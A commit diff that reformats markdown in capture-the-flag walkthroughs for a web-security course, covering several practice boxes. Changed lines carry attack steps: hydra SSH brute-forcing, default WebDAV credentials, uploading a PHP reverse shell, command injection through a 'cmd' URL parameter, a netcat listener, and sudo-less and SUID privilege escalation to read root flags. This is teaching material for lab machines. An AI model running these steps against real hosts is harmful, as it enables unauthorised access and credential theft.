Skip to content

Commit 34b1715

Browse files
author
David Bors
committed
10-end-to-end-chapter: fix linting errors
Fix linter errors from Superlinter. Signed-off-by: David Bors <borsdavid@proton.me>
1 parent b1b1feb commit 34b1715

File tree

14 files changed

+227
-130
lines changed

14 files changed

+227
-130
lines changed

chapters/web-application-security/10-end-to-end/drills/bounty-hacker/sol/index.md

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -18,11 +18,12 @@
1818

1919
![2](images/ftp_login.jpg?raw=true "Ftp_login")
2020

21-
+ **Listing the directory, we can observe two .txt files uploaded so let's get them**
21+
+ **Listing the directory, we can observe two `.txt` files uploaded so let's get them**
2222

2323
``mget *.txt``
2424

25-
+ **Reading the task.txt file, we can find out who wrote the task list, giving us the first task answer. We list the second txt file, named locks.txt, and we can see multiple strings which seems to be some passwords kept in the ftp server**
25+
+ **Reading the `task.txt` file, we can find out who wrote the task list, giving us the first task answer.**
26+
**We list the second txt file, named locks.txt, and we can see multiple strings which seems to be some passwords kept in the ftp server.**
2627

2728
```text
2829
rEddrAGON
@@ -39,7 +40,8 @@ R3dDRaG0Nsynd1c@T3
3940
...
4041
```
4142

42-
+ **Let's try to use this password file to connect on the ssh service, using simultaneously the user found in the previous task. The Hydra tool has a brute-force option to crack the login of the ssh service, so we can use it**
43+
+ **Let's try to use this password file to connect on the ssh service, using simultaneously the user found in the previous task.**
44+
**The Hydra tool has a brute-force option to crack the login of the ssh service, so we can use it**
4345

4446
``hydra -l lin -P locks.txt 10.10.229.13 -t 4 ssh``
4547

chapters/web-application-security/10-end-to-end/drills/brooklyn-nine-nine/sol/index.md

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,32 +22,40 @@
2222

2323
![2](images/ftp.jpg)
2424

25-
**We successfully connected and we can see a** note_to_jake.txt **file inside the ftp server. We can get that file and read it**
25+
**We successfully connected and we can see a** `note_to_jake.txt` **file inside the ftp server.**
26+
**We can get that file and read it**
2627

2728
``get note_to_jake.txt``
2829
![3](images/change_password.jpg)
2930

30-
+ **Looks that Jake need to change his password. Because jake is using a very weak password, maybe we can brute-force his login to some service. Let's use hydra to brute-force the ssh service - I'm using the rockyou.txt wordlist**
31+
+ **Looks that Jake need to change his password.**
32+
**Because jake is using a very weak password, maybe we can brute-force his login to some service.**
33+
**Let's use hydra to brute-force the ssh service - I'm using the rockyou.txt wordlist**
3134

3235
``hydra -l jake -P /usr/share/wordlists/rockyou.txt 10.10.244.52 -t 4 ssh``
3336

3437
![4](images/hydra.jpg)
3538

3639
## User escalation
3740

38-
+ **So here we got some ssh credentials. Let's connect on the ssh service and run a** ``sudo -l`` **command on the jake user**
41+
+ **So here we got some ssh credentials.**
42+
**Let's connect on the ssh service and run a** ``sudo -l`` **command on the jake user**
3943

4044
![5](images/less.jpg)
4145

42-
**It looks like jake can run the less command with su privilege. Less is a command which can display content of a file and we can navigate both forward and backward through the file. Let's try to read the user flag.**
46+
**It looks like jake can run the less command with su privilege.**
47+
**Less is a command which can display content of a file and we can navigate both forward and backward through the file.**
48+
**Let's try to read the user flag.**
4349

4450
``sudo less /home/holt/user.txt``
4551

4652
[6](images/user_flag_1.jpg)
4753

4854
## Root escalation
4955

50-
+ **And here it is our first flag. We can also use less to get a privesc and get root access. Let's read a file with less**
56+
+ **And here it is our first flag.**
57+
**We can also use less to get a privesc and get root access.**
58+
**Let's read a file with less**
5159

5260
``less /etc/passwd``
5361

chapters/web-application-security/10-end-to-end/drills/dav/sol/index.md

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,8 @@
2222

2323
![dirb](images/nmap_dirb_scan2.jpg?raw=true "dirb")
2424

25-
**Navigating to the /webdav directory, the login page shows up. We need some credentials, and searching on google we can find some.**
25+
**Navigating to the /webdav directory, the login page shows up.**
26+
**We need some credentials, and searching on google we can find some.**
2627

2728
[login](images/login.png?raw=true "login")
2829

@@ -34,15 +35,20 @@
3435

3536
[webdav](images/webdav.jpg?raw=true "webdav")
3637

37-
+ **Reading the file, it seems to be some credentials with a hashed password. Trying to unhashed it, i realised it's nothing that we can do with it so i continued to read about WebDAV service. It has some similarities with the ftp, among with the cadaver: we can upload some files in that /webdav directory. Let's login with the cadaver, the WebDAV client, using the same default credentials**
38+
+ **Reading the file, it seems to be some credentials with a hashed password.**
39+
**Trying to unhashed it, i realised it's nothing that we can do with it so i continued to read about WebDAV service.**
40+
**It has some similarities with the ftp, among with the cadaver: we can upload some files in that /webdav directory.**
41+
**Let's login with the cadaver, the WebDAV client, using the same default credentials**
3842

3943
``cadaver http://10.10.62.166/webdav/``
4044

4145
``Username: wampp``
4246

4347
``Password: xampp``
4448

45-
+ **Now, let's try to upload a reverse php shell. I use the [pentestmonkey reverse shell](https://github.com/pentestmonkey/php-reverse-shell). Get it and modify the $ip parameter with your tryhackme tunneled ip and then upload it on our webdav directory**
49+
+ **Now, let's try to upload a reverse php shell.**
50+
**I use the [pentestmonkey reverse shell](https://github.com/pentestmonkey/php-reverse-shell).**
51+
**Get it and modify the $ip parameter with your tryhackme tunneled ip and then upload it on our webdav directory**
4652

4753
``put php-reverse-shell.php``
4854

@@ -60,7 +66,8 @@
6066

6167
## User escalation
6268

63-
**And we're in. Let's spawn an interactive shell and read our first flag, located inside the home directory of the merlin user.**
69+
**And we're in.**
70+
**Let's spawn an interactive shell and read our first flag, located inside the home directory of the merlin user.**
6471

6572
``python -c 'import pty;pty.spawn("/bin/bash")'``
6673

chapters/web-application-security/10-end-to-end/drills/jack-of-all-trades/sol/index.md

Lines changed: 39 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -12,37 +12,45 @@
1212

1313
``nmap -sV -sC -oN scan1 10.10.252.248``
1414

15-
+ **We can see 2 open ports with some services: ssh and http. The first strange thing is that the services are opened on reversed ports. Ssh is opened on the 80 ports and http on the 22 one**
15+
+ **We can see 2 open ports with some services: ssh and http.**
16+
**The first strange thing is that the services are opened on reversed ports.**
17+
**Ssh is opened on the 80 ports and http on the 22 one**
1618

1719
![1](images/nmap_scan_jack.jpg?raw=true "Nmap_scan")
1820

19-
+ **Let's try to get to the http web-site on the 22 port. We see an browser error: seems like Firefox has canceled our request for kind of security. That's because the unusual use of 22 port for the http service**
21+
+ **Let's try to get to the http web-site on the 22 port.**
22+
**We see an browser error: seems like Firefox has canceled our request for kind of security.**
23+
**That's because the unusual use of 22 port for the http service**
2024

2125
![2](images/restrict.jpg?raw=true "restrict")
2226

23-
**We can allow this restricted port making some configuration inside the mozilla browser: [allow restricted ports](https://support.mozilla.org/en-US/questions/1083282#answer-780274). Go into the about:config page in the url, search for the ports and add the network.security.ports.banned.override string, with the 22 value**
27+
**We can allow this restricted port making some configuration inside the mozilla browser: [allow restricted ports](https://support.mozilla.org/en-US/questions/1083282#answer-780274).**
28+
**Go into the about:config page in the URL, search for the ports and add the network.security.ports.banned.override string, with the 22 value.**
2429

2530
![3](images/add_string.png?raw=true "add_string")
2631

2732
![4](images/welcome.png?raw=true "welcome")
2833

29-
**We can see our main page, with the box title and some images in there. Let's scan with gobuster too.**
34+
**We can see our main page, with the box title and some images in there.**
35+
**Let's scan with gobuster too.**
3036

3137
``gobuster dir -u http://10.10.252.248:22/ -w /usr/share/wordlists/dirb/common.txt``
3238

3339
![5](images/gobust.jpg?raw=true "gobust")
3440

35-
+ **Let's take a look into our gobuster output. Let's visit the assets page; we can see some *jpg* files, one of them called** stego.jpg **so we can think about an encrypted image with the help of steganography**
41+
+ **Let's take a look into our gobuster output.**
42+
**Let's visit the assets page; we can see some *jpg* files, one of them called** stego.jpg **so we can think about an encrypted image with the help of steganography**
3643

3744
![6](images/assets.jpg?raw=true "assets")
3845

3946
+ **We can try to extract the stego image to see de hidden data, so we're gonna use steghide**
4047

4148
``steghide --extract -sf stego.jpg``
4249

43-
**A passphrase is requested, so we cannot immediately decrypt the image, but we can continue to enumerate the http page. Let's take a look into the source code of the page.**
50+
**A passphrase is requested, so we cannot immediately decrypt the image, but we can continue to enumerate the http page.**
51+
**Let's take a look into the source code of the page.**
4452

45-
+ **We can spot a message left in the source code of the page: a recovery message which tells us we can connect on the /recovery.php page and there's also a base64 encoded message**
53+
+ **We can spot a message left in the source code of the page: a recovery message which tells us we can connect on the `/recovery.php` page and there's also a base64 encoded message**
4654

4755
![7](images/base64.jpg?raw=true "base64")
4856

@@ -56,27 +64,30 @@
5664

5765
![9](images/first_steg.jpg?raw=true "first_steg")
5866

59-
+ **A creds.txt file was hidden inside, but the stego.jpg wasn't the good path. Let's download the other images from the assets page and extract them**
67+
+ **A `creds.txt` file was hidden inside, but the stego.jpg wasn't the good path.**
68+
**Let's download the other images from the assets page and extract them**
6069

6170
![10](images/real_steg.jpg?raw=true "real_steg")
6271

6372
``steghide --extract -sf header.jpg``
6473

65-
**Bingo! We got a username and a password inside the header.jpg image. Let's go to the /recovery.php page and try to login with the credentials.**
74+
**Bingo! We got a username and a password inside the header.jpg image.**
75+
**Let's go to the /recovery.php page and try to login with the credentials.**
6676

6777
+ **Logging in with our credentials on the page, we are redirected to a page with the message:**
6878

6979
``GET me a 'cmd' and I'll run it for you Future-Jack.``
7080

7181
![11](images/login.jpg?raw=true "login")
7282

73-
**Now, let's try some system commands inside the url:**
83+
**Now, let's try some system commands inside the URL:**
7484

7585
``http://10.10.252.248:22/nnxhweOV/index.php?cmd=cat /etc/passwd``
7686

7787
![cmd](images/cmdworks.jpg?raw=true "cmd")
7888

79-
+ **It's all working, so go grab a reverse shell. I'm gonna use python and start listen with nc**
89+
+ **It's all working, so go grab a reverse shell.**
90+
**I'm gonna use python and start listen with nc**
8091

8192
``nc -lvnp 1234``
8293

@@ -86,15 +97,18 @@
8697

8798
## User escalation
8899

89-
**Here we got our access into the system. Let's spawn an interactive shell with python and continue to enumerate.**
100+
**Here we got our access into the system.**
101+
**Let's spawn an interactive shell with python and continue to enumerate.**
90102

91103
``python -c 'import pty; pty.spawn("/bin/bash")'``
92104

93-
+ **Looking into the /home directory, we can see a** ``jacks_password_list`` **file which seems to be a password list for the jake user. According to the second service opened, on the 80 port, the ssh service, we're gonna try to bruteforce the login with the given wordlist and with the help of the Hydra tool**
105+
+ **Looking into the /home directory, we can see a** ``jacks_password_list`` **file which seems to be a password list for the jake user.**
106+
**According to the second service opened, on the 80 port, the ssh service, we're gonna try to bruteforce the login with the given wordlist and with the help of the Hydra tool**
94107

95108
![13](images/jackspassw.jpg?raw=true "jacks")
96109

97-
+ **Firstly, we need to download the** ``jacks_password_list`` **file to our machine. Open a python server on the Jack box and we're gonna get the file on ours**
110+
+ **Firstly, we need to download the** ``jacks_password_list`` **file to our machine.**
111+
**Open a python server on the Jack box and we're gonna get the file on ours**
98112

99113
**The Jack box:**
100114

@@ -104,7 +118,8 @@
104118

105119
**``{kali@kali:Jack of All Trades_0}$``** ``wget 10.10.252.248:6999/jacks_password_list``
106120

107-
+ **Now, having the wordlist, let's start the bruteforce phase. Don't forget to set the port for the ssh service, because it's not on the default (22), but the 80 one**
121+
+ **Now, having the wordlist, let's start the bruteforce phase.**
122+
**Don't forget to set the port for the ssh service, because it's not on the default (22), but the 80 one**
108123

109124
``hydra -s 80 -v -V -l jack -P jacks_password_list -t 8 10.10.252.248 ssh``
110125

@@ -114,7 +129,8 @@
114129

115130
``ssh jake@10.10.252.248 -p 80``
116131

117-
+ **In the /home/jack directory we can see the user flag, but in the .jpg format. Let's get the image on our machine, using the same method as above, and then open it**
132+
+ **In the /home/jack directory we can see the user flag, but in the .jpg format.**
133+
**Let's get the image on our machine, using the same method as above, and then open it**
118134

119135
**``www-data@jack-of-all-trades:/home$``** ``python -m SimpleHTTPServer 6999``
120136

@@ -126,22 +142,25 @@
126142

127143
## Root escalation
128144

129-
+ **Checking for ``sudo -l`` on the jack user gives us no good path. He has no sudo permission on the machine**
145+
+ **Checking for ``sudo -l`` on the jack user gives us no good path.**
146+
**He has no `sudo` permission on the machine**
130147

131148
``Sorry, user jack may not run sudo on jack-of-all-trades.``
132149

133150
**Let's check for some advanced linux file permissions - suid.**
134151

135152
``find / -type f -user root -perm -4000 -print 2>/dev/null``
136153

137-
+ **This gives us some interesting output. The strings executable has got file owner permission when executing a command**
154+
+ **This gives us some interesting output.**
155+
**The strings executable has got file owner permission when executing a command**
138156

139157
![15](images/suid.jpg?raw=true "suid")
140158

141-
**Knowing this, let's try to use strings on our root.txt flag.**
159+
**Knowing this, let's try to use strings on our `root.txt` flag.**
142160

143161
``strings /root/root.txt``
144162

145-
+ **And here's our root flag. This was a very nice box with some steganography challenges into, a reversed ports configuration of services and some file permissions**
163+
+ **And here's our root flag.**
164+
**This was a very nice box with some steganography challenges into, a reversed ports configuration of services and some file permissions**
146165

147166
![15](images/root_flag_jack.jpg?raw=true "suid")

0 commit comments

Comments
 (0)